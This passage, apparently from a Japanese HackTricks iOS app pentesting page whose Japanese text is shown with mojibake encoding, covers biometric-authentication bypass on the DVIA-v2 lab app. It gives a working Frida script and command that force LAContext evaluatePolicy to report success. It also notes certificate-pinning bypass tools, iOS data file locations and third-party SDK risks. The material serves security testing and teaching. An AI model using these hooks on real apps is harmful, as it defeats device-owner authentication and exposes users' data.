以äžã¯ãDVIA-v2 application ã«ããã evaluatePolicy ã®äœ¿çšäŸã§ã:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
Local Authentication ã® bypass ãéæããããã«ãFrida ã¹ã¯ãªãããäœæãããŸãã
ãã®ã¹ã¯ãªãã㯠evaluatePolicy ãã§ãã¯ãã¿ãŒã²ããã«ãããã® callback ãååã㊠success=1 ãè¿ãããã«ããŸãã
callback ã®æåã倿Žããããšã§ãèªèšŒãã§ãã¯ã¯å®è³ªçã« bypass ãããŸãã
以äžã®ã¹ã¯ãªãã㯠evaluatePolicy ã¡ãœããã®çµæã倿Žããããã«æ³šå ¥ãããŸããcallback ã®çµæãåžžã«æåã瀺ãããã«å€æŽããŸãã
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
Fridaã¹ã¯ãªãããæ³šå ¥ããŠçäœèªèšŒãåé¿ããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸã:
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
IPCã«ããæ©å¯æ©èœã®é²åº
Custom URI Handlers / Deeplinks / Custom Schemes
iOS Custom URI Handlers / Deeplinks / Custom Schemes
Universal Links
UIActivity Sharing
UIPasteboard
App Extensions
WebViews
Serialisation and Encoding
iOS Serialisation and Encoding
ãããã¯ãŒã¯éä¿¡
éä¿¡ãæå·åãããŠããªãç¶æ
ã§è¡ãããŠããªãããšããããŠã¢ããªã±ãŒã·ã§ã³ããµãŒããŒã®TLSèšŒææžãæ£ããæ€èšŒããŠããããšã確èªããããšãéèŠã§ãã
ãããã®åé¡ããã§ãã¯ããããã«ãBurp ã®ãããªãããã·ã䜿çšã§ããŸãïŒ
ãã¹ãåãã§ãã¯
TLSèšŒææžãæ€èšŒããéã®äžè¬çãªåé¡ã®äžã€ã¯ãèšŒææžãtrusted CAã«ãã£ãŠçœ²åãããŠãããã©ããã確èªããããèšŒææžã®hostnameãå®éã«ã¢ã¯ã»ã¹ããŠãããã¹ãåãšäžèŽããŠãããã確èªããªãããšã§ãã
Burpã䜿ã£ãŠãã®åé¡ãæ€èšŒããã«ã¯ãiPhoneã§Burp CAãä¿¡é ŒããåŸãç°ãªããã¹ãåã«å¯ŸããŠBurpã§æ°ããèšŒææžãäœæããŠããã䜿çšããŸããã¢ããªãããã§ãåäœããå Žåããã®ã¢ããªã¯è匱ã§ãã
Certificate Pinning
ã¢ããªãæ£ããSSL Pinningã䜿çšããŠããå ŽåãæåŸ
ãããèšŒææžã§ãªããšã¢ããªã¯åäœããŸãããã¢ããªããã¹ãããéãBurpãç¬èªã®èšŒææžãè¿ããããããåé¡ã«ãªãããšããããŸãã
ãã®ä¿è·ãjailbrokenããã€ã¹å
ã§åé¿ããã«ã¯ãã¢ããªã±ãŒã·ã§ã³SSL Kill Switchãã€ã³ã¹ããŒã«ããããBurp Mobile Assistantãã€ã³ã¹ããŒã«ããŸãã
ãŸããobjectionâs ã® ios sslpinning disable ã䜿çšããããšãã§ããŸãã
ãã®ä»
- In
/System/Libraryyou can find the frameworks installed in the phone used by system applications - The applications installed by the user from the App Store are located inside
/User/Applications - And the
/User/Librarycontains data saved by the user level applications - You can access
/User/Library/Notes/notes.sqliteto read the notes saved inside the application. - Inside the folder of an installed application (
/User/Applications/<APP ID>/) you can find some interesting files: iTunesArtwork: ã¢ããªã§äœ¿çšãããŠããã¢ã€ã³ã³iTunesMetadata.plist: App Storeã§äœ¿çšãããã¢ããªã®æ å ±/Library/*: èšå®ããã£ãã·ã¥ãå«ã¿ãŸãã/Library/Cache/Snapshots/*ã«ã¯ã¢ããªãããã¯ã°ã©ãŠã³ãã«éãåã«ååŸãããã¹ãããã·ã§ãããä¿åãããŠããŸãã
Hot Patching/Enforced Updateing
éçºè
ã¯ãã¢ããªãApp Storeã«åæåºããŠæ¿èªãåŸ
ã€ããšãªãããªã¢ãŒãã§ãã¹ãŠã®ã€ã³ã¹ããŒã«ã«å³åº§ã«ããããé©çšã§ããŸãã
ãã®ç®çã«ã¯éåžžJSPatchã䜿çšãããŸããã§ãããSiren ã react-native-appstore-version-checker ã®ãããªä»ã®ãªãã·ã§ã³ãååšããŸãã
ããã¯æªæã®ãããµãŒãããŒãã£SDKã«ãã£ãŠæªçšãããå¯èœæ§ãããå±éºãªä»çµã¿ã§ãããããèªåæŽæ°ã«ã©ã®æ¹æ³ã䜿ãããŠãããïŒããããã°ïŒã確èªãããã¹ãããããšãæšå¥šããŸãã ãã®ç®çã®ããã«ã¢ããªã®ä»¥åã®ããŒãžã§ã³ãããŠã³ããŒãããŠè©Šãããšãã§ããŸãã
Third Parties
3rd party SDKs ã®å€§ããªèª²é¡ã¯ããã®æ©èœã«å¯Ÿãã现ããªå¶åŸ¡ãã§ããªãç¹ã§ããéçºè ã¯SDKãçµ±åããŠãã®ãã¹ãŠã®æ©èœïŒæœåšçãªã»ãã¥ãªãã£è匱æ§ããã©ã€ãã·ãŒæžå¿µãå«ãïŒãåãå ¥ãããããããã¯ãã®å©ç¹ãå®å šã«æŸæ£ãããã®éžæãè¿«ãããŸããå€ãã®å Žåãéçºè èªèº«ããããSDKå ã®è匱æ§ãä¿®æ£ããããšã¯ã§ããŸãããããã«ãSDKãã³ãã¥ããã£å ã§ä¿¡é ŒãåŸããšãäžéšã¯ãã«ãŠã§ã¢ãå«ã¿å§ããããšãããããŸãã
ãµãŒãããŒãã£SDKãæäŸãããµãŒãã¹ã«ã¯ããŠãŒã¶ãŒè¡åã®è¿œè·¡ãåºå衚瀺ããŠãŒã¶ãŒäœéšã®åäžãªã©ãå«ãŸããããšããããŸããããããããã«ããéçºè ããããã©ã€ãã©ãªã«ãã£ãŠå®è¡ãããã³ãŒããå®å šã«ææ¡ããŠããªããªã¹ã¯ãçãããã©ã€ãã·ãŒãã»ãã¥ãªãã£äžã®åé¡ã«ã€ãªããå¯èœæ§ããããŸãããµãŒãããŒãã£ãµãŒãã¹ãšå ±æããæ å ±ã¯å¿ èŠæå°éã«ãšã©ããæ©å¯ããŒã¿ãé²åºããªãããã«ããããšãéèŠã§ãã
ãµãŒãããŒãã£ãµãŒãã¹ã®å®è£ ã¯éåžžãã¹ã¿ã³ãã¢ãã³ã®ã©ã€ãã©ãªããã«SDKã®ã©ã¡ããã®åœ¢ã§æäŸãããŸãããŠãŒã¶ãŒã®ãã©ã€ãã·ãŒãä¿è·ããããããããã®ãµãŒãã¹ãšå ±æããããŒã¿ã¯å人ãç¹å®ã§ããæ å ±ïŒPIIïŒã®å ¬éãé²ãããã«anonymizedãããã¹ãã§ãã
ã¢ããªã䜿çšããŠããã©ã€ãã©ãªãç¹å®ããã«ã¯ãotool ã³ãã³ãã䜿çšã§ããŸãããã®ããŒã«ã¯ã¢ããªã±ãŒã·ã§ã³æ¬äœãšããã®ã¢ããªã䜿çšããåå
±æã©ã€ãã©ãªã«å¯ŸããŠå®è¡ãã远å ã®ã©ã€ãã©ãªãçºèŠããŸãã
otool -L <application_path>
è峿·±ãè匱æ§ãšã±ãŒã¹ã¹ã¿ãã£
Air Keyboard Remote Input Injection
Itunesstored Bookassetd Sandbox Escape
Zero Click Messaging Image Parser Chains
åèè³æãšè¿œå ãªãœãŒã¹
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/
- https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage
- https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053
- https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060
- https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/
- https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064
- https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc
- https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ iOS ç¡æã³ãŒã¹(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< Objective-C ããŒãžã§ã³ https://github.com/OWASP/iGoat-Swift <<< Swift ããŒãžã§ã³
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


